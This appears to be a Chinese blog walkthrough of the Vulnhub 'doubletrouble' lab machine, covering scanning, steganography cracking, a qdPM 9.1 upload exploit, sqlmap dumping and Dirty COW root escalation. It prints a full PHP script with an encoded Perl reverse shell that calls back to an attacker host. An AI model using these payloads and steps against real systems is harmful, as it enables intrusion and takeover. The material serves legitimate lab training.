Vulnhub实战-doubletrouble靶机

靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

下载页面的ova格式文件导入vmware,或者vitrualbox打开即可

靶机1渗透测试

1.靶机描述

描述
回到顶部
获得标志
难度:容易
关于 vm:从 virtualbox 测试并导出。dhcp 和嵌套 vtx/amdv 启用。您可以通过电子邮件与我联系以进行故障排除或问题。
这对 VirtualBox 比 VMware 更有效
这里有个小tips:因为这个ova格式文件是从vitrualbox虚拟机里面导出来的,所以你如果在vmware里面打开就接收不到
ip地址,因为vitrualbox的网卡名字是eth什么的,后面接数字一般。然后vmware的网卡名字一般是ens开头,所以你在
vitrualbox导出的虚拟机在vmware打开就不会自动获取IP,你需要把网卡改成一致然后重启才能获取IP。如果不会改网
卡,请参考下面链接:
https://blog.csdn.net/PeterWuu/article/details/105640638
这个教程第二步好像是:rw single init=/bin/bash
应该不是i,教程上面写的是i,可能作者手误吧!

2.进行主机发现,端口扫描

首先我们把虚拟机导入vmware或者vitrualbox,这里我是导入的vmware,然后开启它就好了

  1. 进行主机探测

nmap -sn 192.168.33.0/24

我这里局域网的虚拟机比较多,如果你的局域网虚拟机也比较多分辨不出来的话,你可以通过mac地址去匹配对应的ip地址,mac地址在虚拟机设置里面可以看到

  1. 进行端口扫描

nmap -sS -p- -v -O 192.168.33.163

我们可以看到开启了22和80端口,证明开启了SSH和web服务,这里前面文章有提到,你可以尝试试试暴力破解SSH的用户名密码,用kali自带的hydra工具,经过我上一次尝试,发现机率微乎其微,除非用的是admin:123456这样的弱口令。

3.web服务检测

我们访问ip地址192.168.33.163得到如下页面

我们还是首先用dirsearch目录扫描一下

python3 dirsearch.py -u 'http://192.168.33.163' -i 200

我们可以看到果然扫出了一下常见目录,挨个目录查看,都没有发现什么东西,最后发现/secret/目录下面有一张图片,百度发现可以用stegseek工具来暴力破解这张图片。

下载参考链接:https://www.freebuf.com/sectool/261633.html

然后我们通过kali自带的字典rockyou.txt,这个字典在kali的/usr/share/wordlist目录下面,是一个压缩包,需要先进行解压

stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output

我们破解完这张图片之后生成一个output文件,发现里面有一个用户名跟密码,不用猜肯定是刚刚那个登录页面的用户名密码,我们来试一试吧!

登陆进去之后发现一个文件上传,在个人设置里面

qdPM漏洞利用

在一开始的登陆页面我们可以看到有个qdPM 9.1,搜索qdPM 9.1的漏洞,我们找到一个远程代码执行漏洞。https://www.exploit-db.com/exploits/50175, 把脚本下载下来。这个脚本的回车有点问题,需要自己调一下。不过,这个漏洞也挺简单的,其实就是用户的myAccount界面的图片那一栏是可以上传文件的,那我们就可以上传一个php反弹shell的脚本。

这里我不知道啥情况,反正这个脚本我搞不明白,python脚本怎么上传php反弹shell呢,如果有大佬知道还望告知,这里我找到一个php的反弹shell的脚本,大家改一下ip,端口就可以直接上传用了。

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

这里比较搞笑的是,无论是跑脚本还是自己手动上传,网页和代码的反馈都会让你觉得自己是不是没有上传成功。会报错,但是其实已经上传成功了。

上传之后脚本在刚刚开始我们目录扫描的那个/uploads/users目录下

然后kali监听10086端口,这个端口是你脚本自己设置的端口。

nc -lnvp 10086

提权

接下来我们看一下当前用户能够使用的sudo权限,这里显示当前用户可以免密执行awk命令

搜索一下awk提权,我们可以这样:

sudo awk 'BEGIN {system("/bin/bash")}'

我们可以看到此时我们已经是root用户了,看看root文件夹,发现了一个ova文件,百度看了大佬博客才知道这又是一个虚拟机,好家伙!不愧是doubletrouble啊,果然跟题目还有点呼应,我们下载下来这个虚拟机文件在vmware中开启。

我们在靶机中开启http服务功能,然后kali通过wget下载下来,下载下来之后在vmware中开启靶机。然后还是之前的步骤,扫描主机ip,端口,服务。

python3 -m http.server 9000

wget http://192.168.33.163:9000/doubletrouble.ova

如下是python -m的用法:

靶机2渗透测试

1.进行主机探测

nmap -sn 192.168.33.0/24

2.端口,服务发现

nmap -sS -p- -v -O 192.168.33.252

3.web服务测试

首先我们通过端口扫描发现开启了80端口,说明存在http服务,我们访问ip地址,看到如下一个登录框页面:

这里让我们输入用户名密码,然而我们并不知道账户名也不知道密码。尝试扫描网站目录发现没有额外的信息,就只有这么一个网站。

sqlmap注入获取用户名密码

我们还想到有一个神器sqlmap,通过sqlmap看看这个登录框存不存在注入,抓包保存文件1.txt,在kali里面打开sqlmap扫描,命令如下:

sqlmap -r /root/1.txt --current-db      //爆出数据库名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆字段
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆内容

我们看到这里有两对密码,第一对似乎没啥用,第二对能够连上ssh

ssh clapton@192.168.33.252

提权

我们看了一下,这个用户只是普通用户,目录下面有一个user.txt,里面是一串字符,我们接下来就是想办法拿到root权限,看看root文件夹有什么东东。我们先看看系统版本

uname -a

这里有个脏牛漏洞,漏洞编号CVE-2016-5195漏洞类型内核竞态条件漏洞漏洞危害本地提权影响范围Linux kernel>2.6.22。该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。他有很多个poc,其中这个poc可以生成一个账号名为firefart的root用户,https://github.com/FireFart/dirtycow

我们把poc下载到靶机的/tmp目录下,然后编译,执行。

这里因为靶机没有git,wget,yum这些命令,所以我们可以把代码复制下来,在靶机通过touch dirty.c创建一个c文件,然后粘贴进去,编译执行就行了。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中间会让我们输入一个密码,这个密码就是firefart的密码,然后我们登录就可以了


Vulnhub实战-doubletrouble靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  3. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  4. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. 如何将eclipse中项目部署到tomcat

    项目路径: \tmp0\wtpwebapps\test 复制test目录到 D:\software_install\apache-tomcat-8.0.33-windows-x64\apache-to ...

  2. 将 VS2017下开发的程序, 部署到其他电脑上运行

    关键步骤:设置Release,如下图 如果无法直接执行,则安装ALI213-Microsoft.Visual.C++.2017.Redistributable.Package.x86.x64

  3. 修改Windows7系统默认软件安装目录

    Windows7系统默认软件安装目录都在C盘Program Files文件夹有时候我们需要把软件安装到其他地方,如果每次安装的时候都要重新选择一次十分麻烦,下面Windows7之家教你修改软件默认安装 ...

  4. HTTP系列之:HTTP中的cookies

    目录 简介 cookies的作用 创建cookies cookies的生存时间 cookies的权限控制 第三方cookies 总结 简介 如果小伙伴最近有访问国外的一些标准网站的话,可能经常会弹出一 ...

  5. 提交Spark作业遇到的NoSuchMethodError问题总结

    测试应用说明 测试的Spark应用实现了同步hive表到kafka的功能.具体处理流程: 从 ETCD 获取 SQL 语句和 Kafka 配置信息 使用 SparkSQL 读取 Hive 数据表 把 ...

  6. 为什么Class实例可以不是全局唯一的——自定义类加载器

    为什么Class实例可以不是全局唯一的 通过定义两个类加载器加载同一字节码文件来证明Class实例为什么不是全局唯一的 1.将一个名为Demo(没有后缀)的字节码文件放在D盘根目录 2.定义两个类加载 ...

  7. 手写 lodash/get、lodash/set 方法

    动机:平时写js代码时经常遇到要使用 lodash 中 _.get 和 _.set 的情况,每次使用都要引用 lodash,总感觉很烦,能不能自己实现一个简单的方法来实现一样的功能呢? get 方法实 ...

  8. 源码编译安装nginx及设置开机启动项

    1.上传nginx文档:解压到/data目录下,并安装依赖包tar xf nginx-1.20.1.tar.gz -C /data/cd /data/nginx-1.20.1/ && ...

  9. 如何在C#中打开和读取EXCEL文件

    这篇文章向您展示如何在C#Windows Forms Application中使用ExcelDataReader,ExcelDataReader.DataSet打开和读取Excel文件.创建一个新的W ...

  10. element-ui 弹出组件的遮罩层在弹出层dialog模态框的上面

     造成的原因: 因为dialog的组件外层div设置了 position:absolute: 属性所以导致遮罩层会在最上面. 解决方法: 在属性内加上这段代码 :append-to-body=&quo ...